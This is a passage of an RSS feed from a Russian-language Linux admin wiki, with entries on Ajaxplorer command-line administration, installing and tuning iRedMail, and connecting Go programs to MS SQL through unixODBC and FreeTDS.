&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u0447\u043d\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u043e\u0432 Windows 7 \u0438 Windows 10 c \u043f\u043e\u043c\u043e\u0449\u044c\u044e GRUB&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430_\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u0447\u043d\u044b\u0445_\u043e\u0431\u0440\u0430\u0437\u043e\u0432_windows_7_\u0438_windows_10_c_\u043f\u043e\u043c\u043e\u0449\u044c\u044e_grub&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;13101-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 11 May 2023 11:22:44 +0000</pubDate>
        </item>
        <item>
            <title>настроика-ajaxplorer-из-команднои-строки</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B8%D0%BA%D0%B0-ajaxplorer-%D0%B8%D0%B7-%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D0%BD%D0%BE%D0%B8-%D1%81%D1%82%D1%80%D0%BE%D0%BA%D0%B8</link>
            <description>
&lt;p&gt;
Вообще доступные действия описаны в xml файлах, например - &lt;strong&gt;plugins/access.fs/fsActions.xml&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;h2 class=&quot;sectionedit1&quot; id=&quot;создание_репозитория_ajaxplorer&quot;&gt;Создание репозитория Ajaxplorer&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;php ./cmd.php -u=admin -p=XXXX -r=ajxp_conf -a=create_repository --DISPLAY=Test3 --DRIVER=demo --DRIVER_OPTION_PATH=/data/ftp/Test3 --DRIVER_OPTION_CREATE=false --DRIVER_OPTION_RECYCLE_BIN=recycle_bin&lt;/pre&gt;

&lt;p&gt;
или вот более полный вариант:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;php -q cmd.php -u=admin -p=XXXX -s=log.txt -a=create_repository -r=ajxp_conf --DISPLAY=bla --DRIVER=fs --DRIVER_OPTION_PATH=/bla --DRIVER_OPTION_PATH_ajxptype=string --DRIVER_OPTION_CREATE=true --DRIVER_OPTION_CREATE_ajxptype=boolean --DRIVER_OPTION_CHMOD_VALUE=0666 --DRIVER_OPTION_CHMOD_VALUE_ajxptype=string --DRIVER_OPTION_PURGE_AFTER=0 --DRIVER_OPTION_PURGE_AFTER_ajxptype=integer --DRIVER_OPTION_DATA_TEMPLATE= --DRIVER_OPTION_DATA_TEMPLATE_ajxptype=string --DRIVER_OPTION_RECYCLE_BIN=recycle_bin --DRIVER_OPTION_RECYCLE_BIN_ajxptype=string --DRIVER_OPTION_CHARSET= --DRIVER_OPTION_CHARSET_ajxptype=string --DRIVER_OPTION_PAGINATION_THRESHOLD=500 --DRIVER_OPTION_PAGINATION_THRESHOLD_ajxptype=integer --DRIVER_OPTION_PAGINATION_NUMBER=200 --DRIVER_OPTION_PAGINATION_NUMBER_ajxptype=integer --DRIVER_OPTION_AJXP_SLUG= --DRIVER_OPTION_AJXP_SLUG_ajxptype=string --DRIVER_OPTION_DEFAULT_RIGHTS=&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f Ajaxplorer&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435_\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f_ajaxplorer&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;144-1389&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;задание_прав_на_папку_для_юзера_ajaxplorer&quot;&gt;Задание прав на папку для юзера ajaxplorer&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;php cmd.php -u=admin -p=pass -r=ajxp_conf -a=edit --sub_action=update_user_right --user_id=user --repository_id=27458d28e3a3e632fde3241b83959009 --right=rw 
&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u043d\u0438\u0435 \u043f\u0440\u0430\u0432 \u043d\u0430 \u043f\u0430\u043f\u043a\u0443 \u0434\u043b\u044f \u044e\u0437\u0435\u0440\u0430 ajaxplorer&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u043d\u0438\u0435_\u043f\u0440\u0430\u0432_\u043d\u0430_\u043f\u0430\u043f\u043a\u0443_\u0434\u043b\u044f_\u044e\u0437\u0435\u0440\u0430_ajaxplorer&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1390-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>настроика-iredmail-on-turnkey-lamp-template</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B8%D0%BA%D0%B0-iredmail-on-turnkey-lamp-template</link>
            <description>&lt;pre class=&quot;code&quot;&gt;turnkey-init
apt-get update &amp;amp;&amp;amp; apt-get install bzip2 postfix-policyd python libapache2-mod-python 
wget https://bitbucket.org/zhb/iredmail/downloads/iRedMail-0.8.1.tar.bz2
tar -xvf iRedMail-0.8.1.tar.bz2
cd iRedMail-0.8.1/
bash ./pkgs/get_all.sh
bash ./iRedMail.sh
/etc/init.d/slapd restart
/etc/init.d/mysql restart
/etc/init.d/postfix restart
/etc/init.d/iredapd restart
/etc/init.d/dovecot restart
/etc/init.d/apache2 restart&lt;/pre&gt;

&lt;h2 class=&quot;sectionedit1&quot; id=&quot;увеличение_размера_вложений&quot;&gt;Увеличение размера вложений&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
1) Увеличиваем размер писем в postfix &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# postconf -e message_size_limit=&amp;#039;41943040&amp;#039;&lt;/pre&gt;

&lt;p&gt;
2) Меняем в файле /etc/php5/apache2/php.ini параметры:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;u
upload_max_filesize = 100M;
post_max_size = 120M;
memory_limit = 512&lt;/pre&gt;

&lt;p&gt;
3) Настраиваем Roundcube  -/usr/share/apache2/roundcubemail-0.7.2/.htaccess меняем параметры&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
php_value upload_max_filesize 40M&lt;br/&gt;

php_value post_max_size 40M&lt;br/&gt;

php_value memory_limit 256M&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
4) Применяем параметры и перезагружаем сервер&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
5) Настройки iredmail по-умолчанию хранятся в файле /usr/share/apache2/roundcubemail/config/main.inc.php&lt;br/&gt;

Например вот так  можно отключить обязательно перенаправление https:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$rcmail_config[&amp;#039;force_https&amp;#039;] = false;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0439&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u0435_\u0440\u0430\u0437\u043c\u0435\u0440\u0430_\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0439&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;445-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>настроика-доступа-к-базе-ms-sql-из-проекта-на-go-lang</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B8%D0%BA%D0%B0-%D0%B4%D0%BE%D1%81%D1%82%D1%83%D0%BF%D0%B0-%D0%BA-%D0%B1%D0%B0%D0%B7%D0%B5-ms-sql-%D0%B8%D0%B7-%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B0-%D0%BD%D0%B0-go-lang</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;что_нужно_для_доступа_к_базе_ms_sql_из_проекта_go&quot;&gt;Что нужно для доступа к базе MS SQL из проекта Go&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Нужно установить &lt;strong&gt;unixODBC&lt;/strong&gt; и &lt;strong&gt;SQL Driver&lt;/strong&gt;.&lt;br/&gt;

А потом проверить что все работает.&lt;br/&gt;

Тут описана процедура, позволившая работать с &lt;strong&gt;MS SQL 2008 R2&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0427\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0431\u0430\u0437\u0435 MS SQL \u0438\u0437 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 Go&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0447\u0442\u043e_\u043d\u0443\u0436\u043d\u043e_\u0434\u043b\u044f_\u0434\u043e\u0441\u0442\u0443\u043f\u0430_\u043a_\u0431\u0430\u0437\u0435_ms_sql_\u0438\u0437_\u043f\u0440\u043e\u0435\u043a\u0442\u0430_go&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-335&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;unixodbc&quot;&gt;unixODBC&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Нужно обновить &lt;strong&gt;unixODBC&lt;/strong&gt;.
Удаляем старую версию &lt;strong&gt;unixODBC&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get remove libodbc1 unixodbc unixodbc-dev&lt;/pre&gt;

&lt;p&gt;
Скачиваем текущую, не ниже &lt;strong&gt;2.3.1&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget ftp://ftp.unixodbc.org/pub/unixODBC/unixODBC-2.3.2.tar.gz&lt;/pre&gt;

&lt;p&gt;
Распаковываем:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;tar xf unixODBC-2.3.2.tar.gz&lt;/pre&gt;

&lt;p&gt;
Конфигурируем и устанавливаем:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd unixODBC-2.3.2
./configure --disable-gui --disable-drivers --enable-iconv --with-iconv-char-enc=UTF8 --with-iconv-ucode-enc=UTF16LE
make
sudo make install
sudo ldconfig&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;unixODBC&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;unixodbc&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;336-978&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;sql_driver&quot;&gt;SQL Driver&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Есть два варианта &lt;strong&gt;SQL&lt;/strong&gt;-драйверов - &lt;strong&gt;FreeTDS&lt;/strong&gt; и &lt;strong&gt;MS SQL&lt;/strong&gt;. &lt;br/&gt;

Будем использовать &lt;strong&gt;FreeTDS&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Скачиваем и распаковываем:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget ftp://ftp.astron.com/pub/freetds/stable/freetds-stable.tgz
tar xf freetds-stable.tgz &lt;/pre&gt;

&lt;p&gt;
Компилируем и устанавливаем:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd freetds-0.91/
./configure #Optionally specify TDS version here with --with-tdsver=VER
make
sudo make install&lt;/pre&gt;

&lt;p&gt;
ВНИМАНИЕ! Важно помнить, что по-умолчанию, конфигурационные файлы &lt;strong&gt;odbcinst.ini&lt;/strong&gt;, &lt;strong&gt;odbc.ini&lt;/strong&gt; и &lt;strong&gt;freetds.conf&lt;/strong&gt; лежат в папке &lt;strong&gt;/usr/local/etc&lt;/strong&gt;, а библиотеки драйверов в &lt;strong&gt;/usr/local/lib/&lt;/strong&gt;. Текущие параметры настройки можно посмотреть с помощью команды:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;tsql -C&lt;/pre&gt;

&lt;p&gt;
Теперь оповестим &lt;strong&gt;ODBC&lt;/strong&gt; о существовании драйвера.&lt;br/&gt;

Для этого создадим текстовый файлик &lt;strong&gt;tds.driver.template&lt;/strong&gt; такого содержания:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[FreeTDS] 
Description     = Open source FreeTDS driver
Driver          =/usr/local/lib/libtdsodbc.so&lt;/pre&gt;

&lt;p&gt;
А затем выполним:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo odbcinst -i -d -f tds.driver.template

 odbcinst: Driver installed. Usage count increased to 1.
     Target directory is /usr/local/etc&lt;/pre&gt;

&lt;p&gt;
Информация о драйвере баз данных пропишется в &lt;strong&gt;/usr/local/etc/odbcinst.ini&lt;/strong&gt; в том же виде, что записано в файле &lt;strong&gt;tds.driver.template&lt;/strong&gt;. В квадратных скобках - имя драйвера, которое можно использовать в дальнейшем.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Теперь можно прописать параметры сервера &lt;strong&gt;MS-SQL&lt;/strong&gt; в конец конфигурационного файлика &lt;strong&gt;/usr/local/etc/freetds.conf&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[ms-sql]
host = 192.168.122.145
port = 1433
tds version = auto
instance = MSSQLSERVER&lt;/pre&gt;

&lt;p&gt;
В начале секции указывается имя сервера, которое потом можно использовать для проверки, например в утилите &lt;strong&gt;tsql&lt;/strong&gt;. Затем - хост (имя или IP), порт (можно не указывать. по умолчанию - 1433), версия &lt;strong&gt;tds&lt;/strong&gt; (при значении &lt;strong&gt;auto&lt;/strong&gt; перебираются разные версии) и имя инстанса MS SQL. &lt;br/&gt;

Более подробная информация тут: &lt;a href=&quot;http://www.freetds.org/userguide/freetdsconf.htm&quot; class=&quot;urlextern&quot; title=&quot;http://www.freetds.org/userguide/freetdsconf.htm&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.freetds.org/userguide/freetdsconf.htm&lt;/a&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Теперь можно прописать &lt;strong&gt;DSN&lt;/strong&gt; (&lt;strong&gt;DataSourceName&lt;/strong&gt;). Они прописываются в файле &lt;strong&gt;/usr/local/etc/odbc.ini&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[freetds-test]
Driver = /usr/local/lib/libtdsodbc.so
Servername = ms-sql
Port = 1433
Database = test
TDS_Version = 8.0&lt;/pre&gt;

&lt;p&gt;
В квадратных скобках - имя &lt;strong&gt;DSN&lt;/strong&gt;, которое используется при обращении к нему. Затем указывается используемый драйвер (путь к файлу драйвера или имя записи из &lt;strong&gt;/usr/local/etc/odbcinst.ini&lt;/strong&gt;), &lt;strong&gt;Servername&lt;/strong&gt; - это имя сервера из  &lt;strong&gt;/usr/local/etc/freetds.conf&lt;/strong&gt;, &lt;strong&gt;Database&lt;/strong&gt; - имя базы данных.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;SQL Driver&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;sql_driver&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;979-4397&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;проверяем_что_все_работает&quot;&gt;Проверяем что все работает&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Во-первых смотрим текущую конфигурацию &lt;strong&gt;ODBC&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ odbcinst -j&lt;/pre&gt;

&lt;p&gt;
Вывод будет примерно таким:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;unixODBC 2.3.2
DRIVERS............: /usr/local/etc/odbcinst.ini
SYSTEM DATA SOURCES: /usr/local/etc/odbc.ini
FILE DATA SOURCES..: /usr/local/etc/ODBCDataSources
USER DATA SOURCES..: /home/user/.odbc.ini
SQLULEN Size.......: 8
SQLLEN Size........: 8
SQLSETPOSIROW Size.: 8&lt;/pre&gt;

&lt;p&gt;
И драйвера баз данных - &lt;strong&gt;FreeTDS&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ tsql -C
Compile-time settings (established with the &amp;quot;configure&amp;quot; script)
                            Version: freetds v0.91
             freetds.conf directory: /usr/local/etc
     MS db-lib source compatibility: no
        Sybase binary compatibility: no
                      Thread safety: yes
                      iconv library: yes
                        TDS version: 5.0
                              iODBC: no
                           unixodbc: yes
              SSPI &amp;quot;trusted&amp;quot; logins: no
                           Kerberos: no&lt;/pre&gt;

&lt;p&gt;
Дальше можем проверить что мы можем подключиться к базе как по IP адресу (имени хоста) из &lt;strong&gt;/usr/local/etc/freetds.conf&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ isql freetds-test sa 1qaz@WSX
+---------------------------------------+
| Connected!                            |
|                                       |
| sql-statement                         |
| help [tablename]                      |
| quit                                  |
|                                       |
+---------------------------------------+
SQL&amp;gt; &lt;/pre&gt;

&lt;p&gt;
Тут последовательно указывается &lt;strong&gt;ServerName&lt;/strong&gt;, &lt;strong&gt;Username&lt;/strong&gt;, &lt;strong&gt;Password&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Так и с помощью &lt;strong&gt;DSN&lt;/strong&gt; из &lt;strong&gt;/usr/local/etc/odbc.ini&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ tsql -H ms-sql -p 1433 -U sa -P 1qaz@WSX -D test
locale is &amp;quot;en_US.UTF-8&amp;quot;
locale charset is &amp;quot;UTF-8&amp;quot;
using default charset &amp;quot;UTF-8&amp;quot;
Default database being set to test
1&amp;gt; &lt;/pre&gt;

&lt;p&gt;
Тут можно указывать как имя &lt;strong&gt;DSN&lt;/strong&gt;, так и &lt;strong&gt;IP&lt;/strong&gt;-адрес сервера.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;Важно!&lt;/strong&gt; Если сервер отвечает что:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Error 20017 (severity 9):
        Unexpected EOF from the server
        OS error 115, &amp;quot;Operation now in progress&amp;quot;
Error 20002 (severity 9):
        Adaptive Server connection failed
There was a problem connecting to the server&lt;/pre&gt;

&lt;p&gt;
Это означает несоответствие версии &lt;strong&gt;TDS&lt;/strong&gt;, используемой при подключении и версии &lt;strong&gt;TDS&lt;/strong&gt;, поддерживаемой сервером &lt;strong&gt;SQL&lt;/strong&gt;.&lt;br/&gt;

Лечится это указанием версии протокола в файле &lt;strong&gt;/usr/local/etc/freetds.conf&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[global]
        # TDS protocol version
tds version = 8.0&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0447\u0442\u043e \u0432\u0441\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c_\u0447\u0442\u043e_\u0432\u0441\u0435_\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:11,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;4398-7295&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;проверка_работоспособности_из_go&quot;&gt;Проверка работоспособности из Go&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Переходим в директорию с исходниками и пакетами &lt;strong&gt;Go&lt;/strong&gt; и получаем пакет для работы с &lt;strong&gt;SQL&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd ~/go/src
go get code.google.com/p/odbc&lt;/pre&gt;

&lt;p&gt;
По умолчанию, в этом пакете в тестах пропиcано использование драйвера &lt;strong&gt;freetds&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Затем можно попытаться запустить тесты:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;go test -mssrv=SERVERNAME.COM -msdb=DATABASENAME -msuser=USERNAME -mspass=YOURPASSWORD -v -run=MS&lt;/pre&gt;

&lt;p&gt;
тут &lt;strong&gt;-mssrv&lt;/strong&gt; - это имя хоста или IP-адрес. Остальное понятно что.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Но сокрее всего тесты не пройдут и везде будет &lt;strong&gt;FAIL&lt;/strong&gt;. Причина - несоотвествие версии &lt;strong&gt;TDS&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Для исправления этой неприятности нужно отредактировать файлик &lt;strong&gt;./mssql_test.go&lt;/strong&gt;.&lt;br/&gt;

Там нужно найти такой кусочек:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;func mssqlConnect() (db *sql.DB, stmtCount int, err error) {
        params := map[string]string{
                &amp;quot;driver&amp;quot;:   *msdriver,
                &amp;quot;server&amp;quot;:   *mssrv,
                &amp;quot;database&amp;quot;: *msdb,
        }
        if isFreeTDS() {
                params[&amp;quot;uid&amp;quot;] = *msuser
                params[&amp;quot;pwd&amp;quot;] = *mspass
                params[&amp;quot;port&amp;quot;] = *msport
                params[&amp;quot;TDS_Version&amp;quot;] =  &amp;quot;8.0&amp;quot;&lt;/pre&gt;

&lt;p&gt;
И добавить туда в конце строчку:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;params[[&amp;quot;TDS_Version&amp;quot;]] =  &amp;quot;8.0&amp;quot;**&lt;/pre&gt;

&lt;p&gt;
В результате выполнения тестов должно быть так:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ /usr/local/go/bin/go test -mssrv=192.168.122.145 -msport=1433 -msdriver=freetds -msdb=test -msuser=sa -mspass=1qaz@WSX -v -run=MS
=== RUN TestMSSQLCreateInsertDelete
--- PASS: TestMSSQLCreateInsertDelete (0.08s)
=== RUN TestMSSQLTransactions
--- PASS: TestMSSQLTransactions (0.14s)
=== RUN TestMSSQLTypes
--- PASS: TestMSSQLTypes (0.09s)
=== RUN TestMSSQLIntAfterText
--- PASS: TestMSSQLIntAfterText (0.01s)
=== RUN TestMSSQLStmtAndRows
--- PASS: TestMSSQLStmtAndRows (0.15s)
=== RUN TestMSSQLIssue5
--- PASS: TestMSSQLIssue5 (0.19s)
=== RUN TestMSSQLDeleteNonExistent
--- PASS: TestMSSQLDeleteNonExistent (0.06s)
=== RUN TestMSSQLDatetime2Param
--- SKIP: TestMSSQLDatetime2Param (0.01s)
        mssql_test.go:1006: skipping test; needs MS SQL Server 2008 or later
=== RUN TestMSSQLMerge
--- SKIP: TestMSSQLMerge (0.00s)
        mssql_test.go:1038: skipping test; needs MS SQL Server 2008 or later
=== RUN TestMSSQLSelectInt
--- PASS: TestMSSQLSelectInt (0.00s)
=== RUN TestMSSQLTextColumnParam
--- PASS: TestMSSQLTextColumnParam (0.48s)
=== RUN TestMSSQLTextColumnParamTypes
--- PASS: TestMSSQLTextColumnParamTypes (0.29s)
=== RUN TestMSSQLLongColumnNames
--- PASS: TestMSSQLLongColumnNames (0.00s)
=== RUN TestMSSQLRawBytes
--- PASS: TestMSSQLRawBytes (0.02s)
=== RUN TestMSSQLUTF16ToUTF8
--- PASS: TestMSSQLUTF16ToUTF8 (0.00s)
=== RUN TestMSSQLExecStoredProcedure
--- PASS: TestMSSQLExecStoredProcedure (0.02s)
=== RUN TestMSSQLSingleCharParam
--- PASS: TestMSSQLSingleCharParam (0.02s)
PASS
ok      code.google.com/p/odbc  1.565s&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 Go&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430_\u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438_\u0438\u0437_go&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:18,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;7296-10556&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit6&quot; id=&quot;пример_кода_на_go_lang_получающего_данные_из_базы_ms-sql&quot;&gt;Пример кода на Go lang, получающего данные из базы MS-SQL&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Вот кусочек кода, который читает из таблицы строки и выводит их на экран.&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;package main
import (
    _ &amp;quot;code.google.com/p/odbc&amp;quot;
    &amp;quot;database/sql&amp;quot;
    &amp;quot;fmt&amp;quot;
    &amp;quot;log&amp;quot;
)
var (
    title       string
    content     string
    query       string
)
func main() {
    db, err := sql.Open(&amp;quot;odbc&amp;quot;, &amp;quot;DRIVER=FreeTDS;SERVER=x.x.x.x;UID=sa;PWD=YourPassword;DATABASE=DbName;TDS_Version=8.0;PORT=1433;&amp;quot;)
    if err != nil {
        fmt.Println(&amp;quot;Error in connect DB&amp;quot;)
        log.Fatal(err)
    }
    query = &amp;quot;select Content from dbo.PageContent  where Revision = -1&amp;quot;
    rows, err := db.Query(query)
    if err != nil {
        log.Fatal(err)
    }
    for rows.Next() {
        if err := rows.Scan(&amp;amp;content); err != nil {
            log.Fatal(err)
        }
        fmt.Println(content)
    }
    defer rows.Close()
}&lt;/pre&gt;

&lt;p&gt;
В документации написано, что в &lt;strong&gt;sql.Open&lt;/strong&gt; передаются пара параметров - имя драйвера и строка подключения.&lt;br/&gt;

Так вот на первый взгляд непонятно - что именно является именем драйвера и что должно входить в строку подключения. &lt;br/&gt;

В нашем случае - драйвер &lt;strong&gt;odbc&lt;/strong&gt;. &lt;br/&gt;

А в качестве строки подключения документация предлагает указывать имя DSN, который прописан в &lt;strong&gt;/usr/local/etc/odbc.ini&lt;/strong&gt;. Примерно так: &lt;strong&gt;“DSN=dsn_name”&lt;/strong&gt;.&lt;br/&gt;

